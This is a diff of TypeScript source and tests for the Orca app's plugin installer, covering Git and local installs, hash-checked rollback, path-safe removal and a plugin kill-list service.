||||
if (result.ok) {
|
||||
hashes.push(result.contentHash)
|
||||
}
|
||||
}
|
||||
|
||||
const versionDirs = (
|
||||
await readdir(join(pluginsDir, 'orca-samples.demo'), { withFileTypes: true })
|
||||
)
|
||||
.filter((entry) => entry.isDirectory() && /^[0-9a-f]{64}$/.test(entry.name))
|
||||
.map((entry) => entry.name)
|
||||
.sort()
|
||||
expect(versionDirs).toEqual([...new Set(hashes)].sort())
|
||||
})
|
||||
|
||||
it('repairs a pointer-new lock-old interrupted publication from provenance', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
const first = await installPluginFromLocalPath({ pluginsDir, sourcePath, hostVersion: '1.4.0' })
|
||||
expect(first.ok).toBe(true)
|
||||
const oldLock = await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')
|
||||
await writeFile(join(sourcePath, 'panel.html'), '<h1>new current</h1>')
|
||||
const second = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(second.ok).toBe(true)
|
||||
if (!first.ok || !second.ok) {
|
||||
return
|
||||
}
|
||||
|
||||
await writeFile(join(pluginsDir, 'plugins.lock.json'), oldLock)
|
||||
const repaired = await readPluginLockfile(pluginsDir)
|
||||
|
||||
expect(repaired.plugins[second.pluginKey]?.contentHash).toBe(second.contentHash)
|
||||
const persisted = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
|
||||
plugins: Record<string, { contentHash?: string }>
|
||||
}
|
||||
expect(persisted.plugins[second.pluginKey]?.contentHash).toBe(second.contentHash)
|
||||
})
|
||||
|
||||
it('rejects a manifest whose declared panel artifact is missing', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath, { includePanel: false })
|
||||
|
||||
const result = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(result).toMatchObject({ ok: false })
|
||||
})
|
||||
|
||||
it('rejects an oversized manifest without reading an unbounded JSON payload', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
const manifestPath = join(sourcePath, 'orca-plugin.json')
|
||||
await writeFile(manifestPath, '')
|
||||
await truncate(manifestPath, PLUGIN_MANIFEST_MAX_BYTES + 1)
|
||||
|
||||
const result = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(result).toMatchObject({ ok: false, error: expect.stringContaining('exceeds') })
|
||||
})
|
||||
|
||||
it('serializes concurrent installs so lockfile entries are not lost', async () => {
|
||||
const firstSource = await tempRoot('orca-plugin-source-')
|
||||
const secondSource = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(firstSource, { id: 'first' })
|
||||
await writePluginSource(secondSource, { id: 'second' })
|
||||
|
||||
const results = await Promise.all([
|
||||
installPluginFromLocalPath({ pluginsDir, sourcePath: firstSource, hostVersion: '1.4.0' }),
|
||||
installPluginFromLocalPath({ pluginsDir, sourcePath: secondSource, hostVersion: '1.4.0' })
|
||||
])
|
||||
expect(results.every((result) => result.ok)).toBe(true)
|
||||
const lock = JSON.parse(await readFile(join(pluginsDir, 'plugins.lock.json'), 'utf8')) as {
|
||||
plugins: Record<string, unknown>
|
||||
}
|
||||
expect(Object.keys(lock.plugins).sort()).toEqual(['orca-samples.first', 'orca-samples.second'])
|
||||
})
|
||||
|
||||
it('serializes concurrent lockfile publications without temporary-file collisions', async () => {
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
const lock = { version: 1 as const, plugins: {} }
|
||||
|
||||
await expect(
|
||||
Promise.all([
|
||||
writePluginLockfile(pluginsDir, lock),
|
||||
writePluginLockfile(pluginsDir, lock),
|
||||
writePluginLockfile(pluginsDir, lock)
|
||||
])
|
||||
).resolves.toHaveLength(3)
|
||||
await expect(readPluginLockfile(pluginsDir)).resolves.toEqual(lock)
|
||||
})
|
||||
|
||||
it('refuses to repoint at a tampered existing content directory', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
const first = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
expect(first.ok).toBe(true)
|
||||
if (!first.ok) {
|
||||
return
|
||||
}
|
||||
await writeFile(
|
||||
join(pluginsDir, first.pluginKey, first.contentHash, 'panel.html'),
|
||||
'<h1>Tampered</h1>'
|
||||
)
|
||||
|
||||
const second = await installPluginFromLocalPath({
|
||||
pluginsDir,
|
||||
sourcePath,
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(second).toMatchObject({
|
||||
ok: false,
|
||||
error: expect.stringContaining('integrity verification')
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
describe('installPluginFromGit', () => {
|
||||
it('uses system Git, resolves the requested ref, and installs its exact bytes', async () => {
|
||||
const sourcePath = await tempRoot('orca-plugin-git-source-')
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
await writePluginSource(sourcePath)
|
||||
await execFileAsync('git', ['init', '--quiet'], { cwd: sourcePath })
|
||||
await execFileAsync('git', ['config', 'user.email', 'plugins@example.invalid'], {
|
||||
cwd: sourcePath
|
||||
})
|
||||
await execFileAsync('git', ['config', 'user.name', 'Plugin Test'], { cwd: sourcePath })
|
||||
await execFileAsync('git', ['add', '.'], { cwd: sourcePath })
|
||||
await execFileAsync('git', ['commit', '--quiet', '-m', 'fixture'], { cwd: sourcePath })
|
||||
await execFileAsync('git', ['tag', 'v1.0.0'], { cwd: sourcePath })
|
||||
const { stdout: commitStdout } = await execFileAsync('git', ['rev-parse', 'HEAD'], {
|
||||
cwd: sourcePath
|
||||
})
|
||||
|
||||
const configKeys = ['GIT_CONFIG_COUNT', 'GIT_CONFIG_KEY_0', 'GIT_CONFIG_VALUE_0'] as const
|
||||
const previous = Object.fromEntries(configKeys.map((key) => [key, process.env[key]]))
|
||||
process.env.GIT_CONFIG_COUNT = '1'
|
||||
process.env.GIT_CONFIG_KEY_0 = `url.${pathToFileURL(sourcePath).href}.insteadOf`
|
||||
process.env.GIT_CONFIG_VALUE_0 = 'https://plugin.test/demo.git'
|
||||
try {
|
||||
const result = await installPluginFromGit({
|
||||
pluginsDir,
|
||||
url: 'https://plugin.test/demo.git',
|
||||
ref: 'v1.0.0',
|
||||
hostVersion: '1.4.0'
|
||||
})
|
||||
|
||||
expect(result).toMatchObject({ ok: true, resolvedCommit: commitStdout.trim() })
|
||||
if (result.ok) {
|
||||
await expect(
|
||||
readFile(join(pluginsDir, result.pluginKey, result.contentHash, 'panel.html'), 'utf8')
|
||||
).resolves.toBe('<h1>Panel</h1>')
|
||||
}
|
||||
} finally {
|
||||
for (const key of configKeys) {
|
||||
const value = previous[key]
|
||||
if (value === undefined) {
|
||||
delete process.env[key]
|
||||
} else {
|
||||
process.env[key] = value
|
||||
}
|
||||
}
|
||||
}
|
||||
})
|
||||
})
|
||||
|
||||
describe('removeInstalledPlugin', () => {
|
||||
it('rejects an unqualified or traversing key before removing anything', async () => {
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
const pluginsDataDir = await tempRoot('orca-plugin-data-')
|
||||
const outside = join(await tempRoot('orca-plugin-outside-'), 'keep.txt')
|
||||
await writeFile(outside, 'keep')
|
||||
|
||||
await expect(
|
||||
removeInstalledPlugin({ pluginsDir, pluginsDataDir, pluginKey: '../outside' })
|
||||
).rejects.toThrow('invalid qualified plugin key')
|
||||
await expect(readFile(outside, 'utf8')).resolves.toBe('keep')
|
||||
})
|
||||
|
||||
it('rejects a resolved uninstall target outside its root', async () => {
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
const pluginsDataDir = await tempRoot('orca-plugin-data-')
|
||||
const outside = await tempRoot('orca-plugin-outside-')
|
||||
const marker = join(outside, 'keep.txt')
|
||||
await writeFile(marker, 'keep')
|
||||
await symlink(
|
||||
outside,
|
||||
join(pluginsDir, 'orca-samples.demo'),
|
||||
process.platform === 'win32' ? 'junction' : 'dir'
|
||||
)
|
||||
|
||||
await expect(
|
||||
removeInstalledPlugin({
|
||||
pluginsDir,
|
||||
pluginsDataDir,
|
||||
pluginKey: 'orca-samples.demo'
|
||||
})
|
||||
).rejects.toThrow('outside')
|
||||
await expect(readFile(marker, 'utf8')).resolves.toBe('keep')
|
||||
})
|
||||
|
||||
it('removes qualified install and data directories', async () => {
|
||||
const pluginsDir = await tempRoot('orca-plugin-installs-')
|
||||
const pluginsDataDir = await tempRoot('orca-plugin-data-')
|
||||
const key = 'orca-samples.demo'
|
||||
await mkdir(join(pluginsDir, key))
|
||||
await mkdir(join(pluginsDataDir, key))
|
||||
await writeFile(join(pluginsDir, key, 'content'), 'installed')
|
||||
await writeFile(join(pluginsDataDir, key, 'storage.json'), '{}')
|
||||
|
||||
await removeInstalledPlugin({ pluginsDir, pluginsDataDir, pluginKey: key })
|
||||
|
||||
await expect(readFile(join(pluginsDir, key, 'content'))).rejects.toThrow()
|
||||
await expect(readFile(join(pluginsDataDir, key, 'storage.json'))).rejects.toThrow()
|
||||
})
|
||||
})
|
||||
|
|
@ -0,0 +1,319 @@
|
|||
import { mkdtemp, readdir, realpath, rm } from 'node:fs/promises'
|
||||
import { existsSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { isAbsolute, join, relative, resolve, sep } from 'node:path'
|
||||
import {
|
||||
PLUGIN_MANIFEST_FILENAME,
|
||||
isQualifiedPluginKey
|
||||
} from '../../shared/plugins/plugin-manifest'
|
||||
import {
|
||||
isAllowedPluginGitUrl,
|
||||
PLUGIN_COMMIT_PATTERN,
|
||||
PLUGIN_CONTENT_HASH_PATTERN,
|
||||
pluginInstallSourceSchema,
|
||||
removePluginLock
|
||||
} from '../../shared/plugins/plugin-install-lockfile'
|
||||
import { readPluginLockfile, writePluginLockfile } from './plugin-install-lockfile-store'
|
||||
import {
|
||||
inspectPluginInstallTree,
|
||||
installStagedPluginTree,
|
||||
type PluginInstallResult
|
||||
} from './plugin-install-staging'
|
||||
import { checkoutPluginGitSource } from './plugin-git-repository'
|
||||
import { readPluginCurrentPointer } from './plugin-current-pointer'
|
||||
import { readPluginInstallProvenance } from './plugin-install-provenance'
|
||||
import { publishPluginInstall } from './plugin-install-publication'
|
||||
|
||||
export type { PluginInstallResult } from './plugin-install-staging'
|
||||
|
||||
export {
|
||||
PLUGIN_LOCKFILE_MAX_BYTES,
|
||||
pluginLockfilePath,
|
||||
readPluginLockfile
|
||||
} from './plugin-install-lockfile-store'
|
||||
|
||||
/**
|
||||
* Plugin installer, v0 sources: local path + git URL `#ref`. Git operations
|
||||
* shell out to SYSTEM git (execFile, argv arrays — never a shell string, and
|
||||
* never a vendored checkout: private repos must work with the user's
|
||||
* existing credential helpers and SSH remotes). No script execution during
|
||||
* install, ever — the installer copies files, nothing more.
|
||||
*
|
||||
* Installs land in immutable hash-addressed dirs behind an atomic pointer
|
||||
* swap; the previous version dir is kept for one-step rollback.
|
||||
*/
|
||||
|
||||
const pluginMutationChains = new Map<string, Promise<void>>()
|
||||
|
||||
async function serializePluginMutation<T>(
|
||||
pluginsDir: string,
|
||||
operation: () => Promise<T>
|
||||
): Promise<T> {
|
||||
const previous = pluginMutationChains.get(pluginsDir) ?? Promise.resolve()
|
||||
const run = previous.catch(() => undefined).then(operation)
|
||||
const settled = run.then(
|
||||
() => undefined,
|
||||
() => undefined
|
||||
)
|
||||
pluginMutationChains.set(pluginsDir, settled)
|
||||
try {
|
||||
return await run
|
||||
} finally {
|
||||
if (pluginMutationChains.get(pluginsDir) === settled) {
|
||||
pluginMutationChains.delete(pluginsDir)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export async function installPluginFromLocalPath(input: {
|
||||
pluginsDir: string
|
||||
sourcePath: string
|
||||
hostVersion: string
|
||||
blockedPluginReason?: (pluginKey: string) => string | null
|
||||
}): Promise<PluginInstallResult> {
|
||||
return serializePluginMutation(input.pluginsDir, async () => {
|
||||
if (!existsSync(join(input.sourcePath, PLUGIN_MANIFEST_FILENAME))) {
|
||||
return { ok: false, error: `no ${PLUGIN_MANIFEST_FILENAME} found in ${input.sourcePath}` }
|
||||
}
|
||||
return installStagedPluginTree({
|
||||
pluginsDir: input.pluginsDir,
|
||||
stagingDir: input.sourcePath,
|
||||
hostVersion: input.hostVersion,
|
||||
source: { kind: 'local-path', path: input.sourcePath },
|
||||
resolvedCommit: null,
|
||||
blockedPluginReason: input.blockedPluginReason
|
||||
})
|
||||
})
|
||||
}
|
||||
|
||||
export async function installBundledPlugin(input: {
|
||||
pluginsDir: string
|
||||
sourcePath: string
|
||||
hostVersion: string
|
||||
expectedPluginKey: string
|
||||
blockedPluginReason?: (pluginKey: string) => string | null
|
||||
}): Promise<PluginInstallResult> {
|
||||
return serializePluginMutation(input.pluginsDir, () =>
|
||||
installStagedPluginTree({
|
||||
pluginsDir: input.pluginsDir,
|
||||
stagingDir: input.sourcePath,
|
||||
hostVersion: input.hostVersion,
|
||||
source: { kind: 'bundled', bundleId: input.expectedPluginKey },
|
||||
resolvedCommit: null,
|
||||
expectedPluginKey: input.expectedPluginKey,
|
||||
repairCorruptedVersion: true,
|
||||
blockedPluginReason: input.blockedPluginReason
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
export async function installPluginFromGit(input: {
|
||||
pluginsDir: string
|
||||
url: string
|
||||
/** `#ref` suffix: branch, tag, or full commit SHA. Empty = default branch. */
|
||||
ref: string
|
||||
hostVersion: string
|
||||
blockedPluginReason?: (pluginKey: string) => string | null
|
||||
}): Promise<PluginInstallResult> {
|
||||
if (!isAllowedPluginGitUrl(input.url)) {
|
||||
return { ok: false, error: 'plugin Git URL must use HTTPS or SSH' }
|
||||
}
|
||||
return serializePluginMutation(input.pluginsDir, async () => {
|
||||
const stagingDir = await mkdtemp(join(tmpdir(), 'orca-plugin-install-'))
|
||||
try {
|
||||
const ref = input.ref.trim()
|
||||
const resolvedCommit = await checkoutPluginGitSource({
|
||||
url: input.url,
|
||||
ref,
|
||||
destination: stagingDir,
|
||||
workingDirectory: tmpdir()
|
||||
})
|
||||
return await installStagedPluginTree({
|
||||
pluginsDir: input.pluginsDir,
|
||||
stagingDir,
|
||||
hostVersion: input.hostVersion,
|
||||
source: { kind: 'git', url: input.url, ref },
|
||||
resolvedCommit,
|
||||
blockedPluginReason: input.blockedPluginReason
|
||||
})
|
||||
} catch (error) {
|
||||
return { ok: false, error: error instanceof Error ? error.message : String(error) }
|
||||
} finally {
|
||||
await rm(stagingDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
export async function installPluginFromMarketplace(input: {
|
||||
pluginsDir: string
|
||||
hostVersion: string
|
||||
expectedPluginKey: string
|
||||
expectedResolvedCommit: string
|
||||
marketplace: { url: string; ref: string; resolvedCommit: string }
|
||||
plugin: { url: string; ref: string }
|
||||
blockedPluginReason?: (pluginKey: string) => string | null
|
||||
}): Promise<PluginInstallResult> {
|
||||
const source = pluginInstallSourceSchema.parse({
|
||||
kind: 'marketplace',
|
||||
marketplace: input.marketplace,
|
||||
plugin: input.plugin
|
||||
})
|
||||
if (!isQualifiedPluginKey(input.expectedPluginKey)) {
|
||||
return { ok: false, error: 'invalid marketplace plugin identity' }
|
||||
}
|
||||
if (!PLUGIN_COMMIT_PATTERN.test(input.expectedResolvedCommit)) {
|
||||
return { ok: false, error: 'invalid previewed plugin commit' }
|
||||
}
|
||||
return serializePluginMutation(input.pluginsDir, async () => {
|
||||
const stagingDir = await mkdtemp(join(tmpdir(), 'orca-plugin-marketplace-install-'))
|
||||
try {
|
||||
const resolvedCommit = await checkoutPluginGitSource({
|
||||
url: input.plugin.url,
|
||||
ref: input.plugin.ref,
|
||||
destination: stagingDir,
|
||||
workingDirectory: tmpdir()
|
||||
})
|
||||
if (resolvedCommit !== input.expectedResolvedCommit) {
|
||||
return { ok: false, error: 'plugin source changed after preview; review the update again' }
|
||||
}
|
||||
return await installStagedPluginTree({
|
||||
pluginsDir: input.pluginsDir,
|
||||
stagingDir,
|
||||
hostVersion: input.hostVersion,
|
||||
source,
|
||||
resolvedCommit,
|
||||
expectedPluginKey: input.expectedPluginKey,
|
||||
blockedPluginReason: input.blockedPluginReason
|
||||
})
|
||||
} catch (error) {
|
||||
return { ok: false, error: error instanceof Error ? error.message : String(error) }
|
||||
} finally {
|
||||
await rm(stagingDir, { recursive: true, force: true })
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/** Restores the single retained immutable predecessor. The old consent
|
||||
* fingerprint becomes current again, so enablement still fails closed until
|
||||
* the user has approved those exact bytes. */
|
||||
export async function rollbackInstalledPlugin(input: {
|
||||
pluginsDir: string
|
||||
pluginKey: string
|
||||
hostVersion: string
|
||||
blockedPluginReason?: (pluginKey: string) => string | null
|
||||
}): Promise<PluginInstallResult> {
|
||||
if (!isQualifiedPluginKey(input.pluginKey)) {
|
||||
return { ok: false, error: 'invalid qualified plugin key' }
|
||||
}
|
||||
const blockedReason = input.blockedPluginReason?.(input.pluginKey)
|
||||
if (blockedReason) {
|
||||
return { ok: false, error: `plugin is blocked by Orca's safety list: ${blockedReason}` }
|
||||
}
|
||||
return serializePluginMutation(input.pluginsDir, async () => {
|
||||
const pluginDir = join(input.pluginsDir, input.pluginKey)
|
||||
const currentContentHash = await readPluginCurrentPointer(pluginDir).catch(() => null)
|
||||
if (!currentContentHash) {
|
||||
return { ok: false, error: 'installed plugin has no current version' }
|
||||
}
|
||||
const candidates = (await readdir(pluginDir, { withFileTypes: true }).catch(() => []))
|
||||
.filter(
|
||||
(entry) =>
|
||||
entry.isDirectory() &&
|
||||
PLUGIN_CONTENT_HASH_PATTERN.test(entry.name) &&
|
||||
entry.name !== currentContentHash
|
||||
)
|
||||
.map((entry) => entry.name)
|
||||
if (candidates.length !== 1) {
|
||||
return {
|
||||
ok: false,
|
||||
error:
|
||||
candidates.length === 0
|
||||
? 'no rollback version is available'
|
||||
: 'rollback state is ambiguous'
|
||||
}
|
||||
}
|
||||
const contentHash = candidates[0]!
|
||||
const provenance = await readPluginInstallProvenance(pluginDir, contentHash)
|
||||
if (
|
||||
!provenance ||
|
||||
provenance.pluginKey !== input.pluginKey ||
|
||||
provenance.contentHash !== contentHash
|
||||
) {
|
||||
return { ok: false, error: 'rollback version has no valid install provenance' }
|
||||
}
|
||||
const inspection = await inspectPluginInstallTree({
|
||||
rootDir: join(pluginDir, contentHash),
|
||||
hostVersion: input.hostVersion,
|
||||
expectedPluginKey: input.pluginKey
|
||||
})
|
||||
if (!inspection.ok || inspection.contentHash !== contentHash) {
|
||||
return {
|
||||
ok: false,
|
||||
error: inspection.ok ? 'rollback version failed integrity verification' : inspection.error
|
||||
}
|
||||
}
|
||||
try {
|
||||
await publishPluginInstall({ pluginsDir: input.pluginsDir, pluginDir, entry: provenance })
|
||||
} catch (error) {
|
||||
return { ok: false, error: error instanceof Error ? error.message : String(error) }
|
||||
}
|
||||
return {
|
||||
ok: true,
|
||||
pluginKey: input.pluginKey,
|
||||
version: inspection.manifest.version,
|
||||
contentHash,
|
||||
consentFingerprint: provenance.consentFingerprint,
|
||||
resolvedCommit: provenance.resolvedCommit
|
||||
}
|
||||
})
|
||||
}
|
||||
|
||||
/** Removes the install dir, the plugin's data dir, and the lock entry. */
|
||||
export async function removeInstalledPlugin(input: {
|
||||
pluginsDir: string
|
||||
pluginsDataDir: string
|
||||
pluginKey: string
|
||||
}): Promise<void> {
|
||||
await serializePluginMutation(input.pluginsDir, async () => {
|
||||
if (!isQualifiedPluginKey(input.pluginKey)) {
|
||||
throw new Error(`invalid qualified plugin key: ${input.pluginKey}`)
|
||||
}
|
||||
await removeResolvedPluginDirectory(input.pluginsDir, input.pluginKey)
|
||||
await removeResolvedPluginDirectory(input.pluginsDataDir, input.pluginKey)
|
||||
await writePluginLockfile(
|
||||
input.pluginsDir,
|
||||
removePluginLock(await readPluginLockfile(input.pluginsDir), input.pluginKey)
|
||||
)
|
||||
})
|
||||
}
|
||||
|
||||
async function removeResolvedPluginDirectory(rootDir: string, pluginKey: string): Promise<void> {
|
||||
let rootReal: string
|
||||
let targetReal: string
|
||||
try {
|
||||
rootReal = await realpath(resolve(rootDir))
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
return
|
||||
}
|
||||
throw error
|
||||
}
|
||||
try {
|
||||
targetReal = await realpath(resolve(rootDir, pluginKey))
|
||||
} catch (error) {
|
||||
if ((error as NodeJS.ErrnoException).code === 'ENOENT') {
|
||||
return
|
||||
}
|
||||
throw error
|
||||
}
|
||||
const fromRoot = relative(rootReal, targetReal)
|
||||
if (
|
||||
fromRoot.length === 0 ||
|
||||
isAbsolute(fromRoot) ||
|
||||
fromRoot === '..' ||
|
||||
fromRoot.startsWith(`..${sep}`)
|
||||
) {
|
||||
throw new Error(`refusing to remove plugin path outside ${rootReal}`)
|
||||
}
|
||||
await rm(resolve(rootDir, pluginKey), { recursive: true, force: true })
|
||||
}
|
||||
|
|
@ -0,0 +1,30 @@
|
|||
import { hasInstructionalPluginContributions } from '../../shared/plugins/plugin-consent-fingerprint'
|
||||
import { hashPluginTree } from './plugin-content-hash'
|
||||
import type { ValidDiscoveredPlugin } from './plugin-discovery'
|
||||
|
||||
/** Instructional bytes execute later, so every read must still match the tree
|
||||
* identity the user reviewed rather than a cached discovery-time snapshot. */
|
||||
export async function verifyInstructionalPluginContent(
|
||||
plugin: ValidDiscoveredPlugin
|
||||
): Promise<void> {
|
||||
if (!hasInstructionalPluginContributions(plugin.manifest)) {
|
||||
return
|
||||
}
|
||||
if (!plugin.consentContentHash) {
|
||||
throw new Error(`plugin ${plugin.pluginKey} has no instructional consent content identity`)
|
||||
}
|
||||
const actual = await hashPluginTree(plugin.rootDir)
|
||||
if (!actual.ok) {
|
||||
throw new Error(
|
||||
`plugin ${plugin.pluginKey} instructional content is unreadable: ${actual.error}`
|
||||
)
|
||||
}
|
||||
const matches =
|
||||
actual.hash === plugin.consentContentHash ||
|
||||
(plugin.consentContentHash.length === 32 && actual.hash.startsWith(plugin.consentContentHash))
|
||||
if (!matches) {
|
||||
throw new Error(
|
||||
`plugin ${plugin.pluginKey} instructional content changed since it was reviewed`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,111 @@
|
|||
import { mkdtemp, rm } from 'node:fs/promises'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest'
|
||||
import type { PluginKillList } from '../../shared/plugins/plugin-kill-list'
|
||||
import { fetchPluginKillList, PluginKillListService } from './plugin-kill-list-service'
|
||||
import type { PluginKillListStore } from './plugin-kill-list-store'
|
||||
|
||||
const roots: string[] = []
|
||||
|
||||
async function tempRoot(): Promise<string> {
|
||||
const root = await mkdtemp(join(tmpdir(), 'orca-plugin-kill-list-'))
|
||||
roots.push(root)
|
||||
return root
|
||||
}
|
||||
|
||||
function killList(date = '2026-07-12T20:00:00Z'): PluginKillList {
|
||||
return {
|
||||
version: 1,
|
||||
generatedAt: date,
|
||||
plugins: [{ pluginKey: 'community.unsafe', reason: 'Malware advisory' }]
|
||||
}
|
||||
}
|
||||
|
||||
afterEach(async () => {
|
||||
await Promise.all(roots.splice(0).map((root) => rm(root, { recursive: true, force: true })))
|
||||
})
|
||||
|
||||
describe('PluginKillListService', () => {
|
||||
it('loads cached revocations before any network refresh', async () => {
|
||||
const root = await tempRoot()
|
||||
const first = new PluginKillListService({
|
||||
pluginsDataDir: root,
|
||||
fetcher: async () => killList()
|
||||
})
|
||||
await first.refresh()
|
||||
const fetcher = vi.fn(async () => killList())
|
||||
const restarted = new PluginKillListService({ pluginsDataDir: root, fetcher })
|
||||
|
||||
await restarted.initialize()
|
||||
|
||||
expect(restarted.reason('community.unsafe')).toBe('Malware advisory')
|
||||
expect(fetcher).not.toHaveBeenCalled()
|
||||
})
|
||||
|
||||
it('publishes valid refreshes and notifies runtime reconciliation', async () => {
|
||||
const service = new PluginKillListService({
|
||||
pluginsDataDir: await tempRoot(),
|
||||
fetcher: async () => killList()
|
||||
})
|
||||
const changed = vi.fn()
|
||||
service.onChanged(changed)
|
||||
|
||||
await service.refresh()
|
||||
|
||||
expect(service.find('community.unsafe')).toMatchObject({ reason: 'Malware advisory' })
|
||||
expect(changed).toHaveBeenCalledTimes(1)
|
||||
})
|
||||
|
||||
it('starts with no revocations after a corrupt cache and accepts a valid refresh', async () => {
|
||||
const store = {
|
||||
read: vi.fn().mockRejectedValue(new Error('invalid JSON')),
|
||||
write: vi.fn().mockResolvedValue(undefined)
|
||||
} as unknown as PluginKillListStore
|
||||
const warning = vi.spyOn(console, 'warn').mockImplementation(() => undefined)
|
||||
const service = new PluginKillListService({
|
||||
pluginsDataDir: await tempRoot(),
|
||||
store,
|
||||
fetcher: async () => killList()
|
||||
})
|
||||
|
||||
await expect(service.initialize()).resolves.toBeUndefined()
|
||||
expect(service.snapshot()).toBeNull()
|
||||
await expect(service.refresh()).resolves.toEqual(killList())
|
||||
expect(service.reason('community.unsafe')).toBe('Malware advisory')
|
||||
expect(warning).toHaveBeenCalledWith(
|
||||
'[plugins] ignoring invalid cached plugin safety list:',
|
||||
expect.any(Error)
|
||||
)
|
||||
})
|
||||
|
||||
it('rejects a replayed older snapshot without replacing cached revocations', async () => {
|
||||
const fetcher = vi
|
||||
.fn<() => Promise<PluginKillList>>()
|
||||
.mockResolvedValueOnce(killList('2026-07-12T20:00:00Z'))
|
||||
.mockResolvedValueOnce(killList('2026-07-11T20:00:00Z'))
|
||||
const service = new PluginKillListService({ pluginsDataDir: await tempRoot(), fetcher })
|
||||
await service.refresh()
|
||||
|
||||
await expect(service.refresh()).rejects.toThrow('older snapshot')
|
||||
expect(service.snapshot()?.generatedAt).toBe('2026-07-12T20:00:00Z')
|
||||
})
|
||||
})
|
||||
|
||||
describe('fetchPluginKillList', () => {
|
||||
it('validates a bounded HTTPS response body', async () => {
|
||||
const fetcher = vi.fn<typeof fetch>().mockResolvedValue(
|
||||
new Response(JSON.stringify(killList()), {
|
||||
status: 200,
|
||||
headers: { 'content-type': 'application/json' }
|
||||
})
|
||||
)
|
||||
|
||||
await expect(fetchPluginKillList(fetcher)).resolves.toEqual(killList())
|
||||
})
|
||||
|
||||
it('rejects non-success responses', async () => {
|
||||
const fetcher = vi.fn<typeof fetch>().mockResolvedValue(new Response('no', { status: 503 }))
|
||||
await expect(fetchPluginKillList(fetcher)).rejects.toThrow('HTTP 503')
|
||||
})
|
||||
})
|
||||
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue